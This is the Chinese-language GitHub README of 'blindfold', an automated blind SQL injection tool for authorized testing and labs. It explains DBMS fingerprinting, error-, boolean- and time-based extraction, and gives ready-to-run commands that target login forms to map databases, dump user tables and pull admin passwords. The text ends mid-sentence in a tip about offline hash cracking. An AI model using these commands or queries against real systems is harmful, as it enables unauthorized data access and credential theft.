SirReddington/blindfold
GitHub: SirReddington/blindfold
一款低依赖的自动化盲注提取工具,能自动检测 DBMS 类型并选择最快的注入技术来导出数据,无需依赖 sqlmap。
Stars: 0 | Forks: 0
# blindfold
一个轻量级、低依赖的**盲注提取工具**,具备**自动 DBMS 检测**功能和专为您挑选的**三种技术**。
将其指向任何可注入的参数,它会自行找出注入的*逃逸位置*、其背后的*数据库类型*,以及提取数据的*最快方式*——然后导出数值。无需 sqlmap;仅依赖 `requests`。
## ⚠️ 法律 / 道德使用
仅供**授权的安全测试和教育**——适用于您自己的系统、实验室机器(OffSec PG, HackTheBox),或您拥有**明确书面测试许可**的目标。在大多数司法管辖区,未经授权的访问是违法的。您需对使用行为自行承担全部责任。
## 工作原理 —— 两个阶段
**阶段 1 —— 检测**
1. **上下文** —— 查找注入逃逸方式:字符串与数字型对比,`AND` / `OR`,或堆叠注入。
2. **DBMS** —— 自动对后端进行指纹识别(PostgreSQL, MySQL, MSSQL, Oracle)。
3. **技术** —— 选择最快可用的技术:
- **报错注入** —— 强制数据库报错以回显数据值;在**一次请求**中导出。
- **布尔盲注** —— 自动校准 TRUE/FALSE 信号(状态码 → 响应体长度 → 数字剥离 token)。
- **时间盲注** —— `pg_sleep` / `SLEEP` / `WAITFOR` 延时检测;作为最后手段。
**阶段 2 —— 提取**
- **报错注入**:一次性获取完整数值(当 DBMS 截断其错误文本时自动分块,例如 MySQL 的 `extractvalue` 约为 32 个字符)。
- **布尔 / 时间盲注**:逐字符进行二分查找(约 7 次请求/字符)。布尔提取可以通过 `--threads` 并行运行。
## 安全性
基于 `OR` 的上下文可能会更改应用程序状态(`' OR 1=1` 可能匹配每一行 / 让您登录)。它们**默认被禁用**。请传入 `--allow-or` 来包含它们。
## 恢复 / 记忆
进度**以及**检测到的 DBMS/技术/上下文会在每个字符之后进行存档检查点保存。
如果运行被中断,请重新运行**相同的命令**以恢复。`--fresh` 会忽略检查点;`--state PATH` 用于选择文件。操作成功后,该文件会被自动删除。
## 环境要求
- Python 3.7+
- [`requests`](https://pypi.org/project/requests/)
```
pip install -r requirements.txt
```
## 快速开始
```
git clone https://github.com/SirReddington/blindfold.git
cd blindfold
pip install -r requirements.txt
python3 blindfold.py --help
```
## 模式
blindfold 具有一个默认操作和两个显式操作 —— 通常您只需要使用默认模式:
| 您的运行方式… | 它执行的操作 |
|----------|---------|
| *(无)* | **映射模式(默认)** —— 检测,然后打印 **DBMS · 当前数据库 · 表列表**。静默运行(不显示列/行)。 |
| `--dump TABLE` | 自动发现表的列并导出其行数(由 `--max-rows` 限制,默认为 50)。 |
| `--query ""` | 高级模式 —— 提取一个特定值。 |
```
# 映射 database (日常命令)
blindfold.py -u http://t:3000/login -d "username=INJECT&password=test"
# 导出一个 table
blindfold.py -u http://t:3000/login -d "username=INJECT&password=test" --dump users
# 提取一个 scalar
blindfold.py -u http://t:3000/login -d "username=INJECT&password=test" \
--query "SELECT password FROM users WHERE username='antwon'"
```
## 使用方法
```
python3 blindfold.py [target] [action] [detection] [tuning]
```
### 目标(选择一种样式)
| 标志 | 含义 |
|------|---------|
| `-u, --url` | 目标 URL(可包含用于 GET 注入的标记) |
| `-d, --data` | 请求体(可包含标记) |
| `-H, --header` | 额外请求头 `'Name: value'`,可重复使用(可包含标记) |
| `-X, --method` | HTTP 方法(默认:如果提供了 `-d` 则为 `POST`,否则为 `GET`) |
| `--request` | 包含标记的原始 HTTP 请求文件 |
| `--proto` | 用于 `--request` 文件的协议(默认为 `http`) |
### 操作(默认:映射数据库)
| 标志 | 含义 |
|------|---------|
| *(无)* | 映射模式 —— DBMS、当前数据库和表名 |
| `--dump TABLE`| 导出表中的行(自动发现列) |
| `--max-rows` | `--dump` 的行数上限(默认 `50`) |
| `--query` | 提取单个 SQL 标量(高级模式) |
### 注入
| 标志 | 含义 |
|------|---------|
| `--marker` | 注入点的占位符(默认 `INJECT`) |
| `--no-encode` | **不**对 payload 进行 URL 编码 |
### 检测
| 标志 | 含义 |
|------|---------|
| `--dbms` | 指定 DBMS:`postgresql`, `mysql`, `mssql`, `oracle`(跳过指纹识别) |
| `--force-boolean` | 仅使用布尔盲注 |
| `--force-time` | 仅使用时间盲注 |
| `--no-error` | 即使可用也不使用报错注入 |
| `--allow-or` | 包含有风险的 `OR` 上下文(可能更改应用状态) |
| `--true-match` | **仅**在 TRUE 响应中出现的字符串(覆盖自动校准) |
| `--false-match` | **仅**在 FALSE 响应中出现的字符串 |
| `--len-margin` | 将响应体长度差异视为布尔信号的最小间距(默认 `12`) |
| `--len-jitter` | 同一响应类型内允许的响应体长度波动范围(默认 `4`) |
### 调优
| 标志 | 默认值 | 含义 |
|------|---------|---------|
| `--sleep` | `3.0` | 基于时间盲注的休眠秒数 |
| `--threshold` | *自适应* | 判定为“已休眠”的绝对截止时间。默认值:采样的基准延迟 + 边界值 |
| `--cal-samples` | `5` | 用于自适应阈值的基准延迟采样数 |
| `--retries` | `1` | 对每个时间盲注的正数结果重新确认 N 次(消除抖动影响) |
| `--threads` | `1` | 用于**布尔**提取的并行工作线程(每个字符都会被验证) |
| `--maxlen` | `64` | 探测的最大值长度 |
| `--max-codepoint`| `0x10FFFF` | 提取 Unicode(非 ASCII)字符的上限 |
| `--cmin/--cmax` | `32/126` | 传统 ASCII 边界(提取过程现在会自动在 Unicode 范围内进行) |
| `--proxy` | – | 例如 `http://127.0.0.1:8080` 以便在 Burp 中查看 |
### 恢复
| 标志 | 含义 |
|------|---------|
| `--state` | 检查点文件路径(默认:自动命名为 `.pgtb-.json`) |
| `--fresh` | 忽略任何现有检查点并重新开始 |
## DBMS 支持矩阵
| DBMS | 指纹识别 | 报错注入 | 布尔盲注 | 时间盲注 |
|------|-------------|-------------|---------|------------|
| PostgreSQL | `pg_catalog` | `CAST(... AS int)` | ✅ | `pg_sleep` (内联 + 堆叠) |
| MySQL | `CONNECTION_ID()` | `extractvalue` (分块) | ✅ | `SLEEP` (内联) |
| MSSQL | `@@version` | `CAST/convert` | ✅ | `WAITFOR DELAY` (堆叠) |
| Oracle | `v$version` | – | ✅ | – |
Oracle 使用布尔提取(出于可靠性考虑,特意忽略了其内联的时间/报错原语)。使用 `--dbms` 指定任何后端以跳过指纹识别。
## 示例
**1. 完全自动化 —— 检测上下文、DBMS 和技术,然后提取数据**
```
python3 blindfold.py \
-u http://10.10.10.10:3000/login \
-d "username=INJECT&password=test" \
--query "SELECT password FROM users WHERE username='admin'"
```
**2. 复用已保存的 Burp 请求**(将 `INJECT` 放置在 payload 的注入位置)
```
python3 blindfold.py --request req.txt --query "SELECT current_user"
```
**3. 指定 MySQL,允许有风险的 OR 上下文**
```
python3 blindfold.py --request req.txt --dbms mysql --allow-or \
--query "SELECT current_user()"
```
**4. 使用 8 个工作线程加速布尔提取**
```
python3 blindfold.py -u "http://target/item?id=INJECT" --threads 8 \
--query "SELECT version()"
```
**5. 强制时间盲注并在充满噪音的页面辅助校准器**
```
python3 blindfold.py -u http://t/login -d "username=INJECT&password=x" \
--force-time --true-match "Dashboard" \
--query "SELECT current_user"
```
## 输出示例
```
=== PHASE 1: detection ===
[*] boolean probe : string-and ...
[+] boolean signal on string-and: status==302
[+] DBMS fingerprint: postgresql
[+] error reflection on string-and (postgresql)
[+] DBMS : postgresql
[+] TECHNIQUE : error-based
[+] CONTEXT : string-and
[*] detection cost: 11 requests
=== PHASE 2: extraction ===
[*] query : SELECT password FROM users WHERE username='admin'
[+] RESULT: s3cr3tP@ss!
[*] total requests: 12 (error-based, postgresql)
```
当没有任何回显且布尔盲注也没有信号时,它会回退到时间盲注:
```
[+] DBMS : postgresql
[+] TECHNIQUE : time-based
[+] CONTEXT : stacked
```
默认的**映射模式**输出(无 `--query`):
```
=== DATABASE MAP ===
DBMS : postgresql
Database : shopdb
Tables : 3
- users
- products
- orders
[i] dump a table with: --dump (rows capped by --max-rows)
```
以及 `--dump users` 的输出:
```
=== DUMP: users ===
columns (3): id, username, password
rows: 3
id | username | password
---+----------+---------
1 | admin | s3cr3t
2 | bob | hunter2
3 | eve | p@ss
```
## 可提供给 `--query` 的实用查询
| 目标 | PostgreSQL / MySQL | MSSQL | Oracle |
|------|--------------------|-------|--------|
| 当前用户 | `SELECT current_user` | `SELECT SYSTEM_USER` | `SELECT user FROM dual` |
| 版本 | `SELECT version()` | `SELECT @@version` | `SELECT banner FROM v$version WHERE rownum=1` |
| 当前数据库 | `SELECT current_database()` / `SELECT database()` | `SELECT DB_NAME()` | `SELECT ora_database_name FROM dual` |
| 列出用户 | `SELECT string_agg(usename,',') FROM pg_user` | `SELECT name FROM sys.sql_logins` | `SELECT username FROM all_users` |
| 导出密码 | `SELECT password FROM users WHERE username='admin'` | 同左 | 同左 |
## 提示
- **让检测程序自行选择** —— 报错注入最快,其次是布尔盲注,最后是时间盲注。仅在需要时进行覆盖。
- 如果在动态页面上自动校准失效(CSRF token、时间戳),请使用 `--true-match`/`--false-match` 或提高 `--len-margin`。
- 如果结果是**哈希值**,请提取后进行离线破解(`hashcat -m